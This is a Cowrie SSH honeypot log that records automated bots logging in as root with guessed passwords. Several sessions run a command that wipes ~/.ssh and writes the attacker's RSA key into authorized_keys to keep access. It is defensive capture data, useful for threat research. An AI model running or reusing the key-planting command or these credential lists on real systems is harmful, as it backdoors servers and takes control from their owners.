{"eventid":"cowrie.login.success","username":"root","password":"abc1234567","message":"login attempt [root/abc1234567] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:03.569647Z","src_ip":"103.76.120.30","session":"05ad4d573414","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:04.132133Z","src_ip":"103.76.120.30","session":"05ad4d573414","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:04.138954Z","src_ip":"103.76.120.30","session":"05ad4d573414","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:04.143692Z","src_ip":"103.76.120.30","session":"05ad4d573414","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:04.408349Z","src_ip":"103.76.120.30","session":"05ad4d573414","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:04.955535Z","src_ip":"103.76.120.30","session":"05ad4d573414","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:04.959649Z","src_ip":"103.76.120.30","session":"05ad4d573414","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:05.368414Z","src_ip":"103.76.120.30","session":"05ad4d573414","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:05.373388Z","src_ip":"103.76.120.30","session":"05ad4d573414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.76.120.30","src_port":51120,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d9ece191c51","protocol":"ssh","message":"New connection: 103.76.120.30:51120 (159.203.135.109:22) [session: 0d9ece191c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:05.545718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:05.552089Z","src_ip":"103.76.120.30","session":"0d9ece191c51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:05.803429Z","src_ip":"103.76.120.30","session":"0d9ece191c51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:06.829503Z","src_ip":"103.76.120.30","session":"0d9ece191c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:08.083281Z","src_ip":"103.76.120.30","session":"0d9ece191c51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.76.120.30","src_port":50020,"dst_ip":"159.203.135.109","dst_port":22,"session":"298473fb8e15","protocol":"ssh","message":"New connection: 103.76.120.30:50020 (159.203.135.109:22) [session: 298473fb8e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:08.328719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:08.338737Z","src_ip":"103.76.120.30","session":"298473fb8e15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:08.590676Z","src_ip":"103.76.120.30","session":"298473fb8e15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:09.638229Z","src_ip":"103.76.120.30","session":"298473fb8e15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:09.893025Z","src_ip":"103.76.120.30","session":"05ad4d573414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:09.897619Z","src_ip":"103.76.120.30","session":"298473fb8e15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.136.253","src_port":37574,"dst_ip":"159.203.135.109","dst_port":22,"session":"318510c312a5","protocol":"ssh","message":"New connection: 43.166.136.253:37574 (159.203.135.109:22) [session: 318510c312a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:10.793598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:10.798205Z","src_ip":"43.166.136.253","session":"318510c312a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:10.808702Z","src_ip":"43.166.136.253","session":"318510c312a5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"China@123","message":"login attempt [root/China@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:10.902239Z","src_ip":"43.166.136.253","session":"318510c312a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:10.956082Z","src_ip":"43.166.136.253","session":"318510c312a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:10.958876Z","src_ip":"43.166.136.253","session":"318510c312a5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:10.963055Z","src_ip":"43.166.136.253","session":"318510c312a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:10.977138Z","src_ip":"43.166.136.253","session":"318510c312a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:11.120494Z","src_ip":"43.166.136.253","session":"318510c312a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:11.124465Z","src_ip":"43.166.136.253","session":"318510c312a5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:11.141207Z","src_ip":"43.166.136.253","session":"318510c312a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:11.145130Z","src_ip":"43.166.136.253","session":"318510c312a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.136.253","src_port":49418,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cb5c4060c9d","protocol":"ssh","message":"New connection: 43.166.136.253:49418 (159.203.135.109:22) [session: 9cb5c4060c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:11.150928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:11.155468Z","src_ip":"43.166.136.253","session":"9cb5c4060c9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:11.165520Z","src_ip":"43.166.136.253","session":"9cb5c4060c9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:11.241117Z","src_ip":"43.166.136.253","session":"9cb5c4060c9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:12.254680Z","src_ip":"43.166.136.253","session":"9cb5c4060c9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.136.253","src_port":49422,"dst_ip":"159.203.135.109","dst_port":22,"session":"61c6367dfa42","protocol":"ssh","message":"New connection: 43.166.136.253:49422 (159.203.135.109:22) [session: 61c6367dfa42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:12.260443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:12.265287Z","src_ip":"43.166.136.253","session":"61c6367dfa42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:12.275228Z","src_ip":"43.166.136.253","session":"61c6367dfa42","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:12.347503Z","src_ip":"43.166.136.253","session":"61c6367dfa42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:12.772723Z","src_ip":"43.166.136.253","session":"318510c312a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:12.777541Z","src_ip":"43.166.136.253","session":"61c6367dfa42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.243.170.62","src_port":46690,"dst_ip":"159.203.135.109","dst_port":22,"session":"3af8b3981544","protocol":"ssh","message":"New connection: 124.243.170.62:46690 (159.203.135.109:22) [session: 3af8b3981544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:34.601316Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:34.606203Z","src_ip":"124.243.170.62","session":"3af8b3981544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.243.170.62","src_port":46704,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1347f4d0242","protocol":"ssh","message":"New connection: 124.243.170.62:46704 (159.203.135.109:22) [session: d1347f4d0242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:35.846923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:21:35.851313Z","src_ip":"124.243.170.62","session":"d1347f4d0242","protocol":"ssh"}
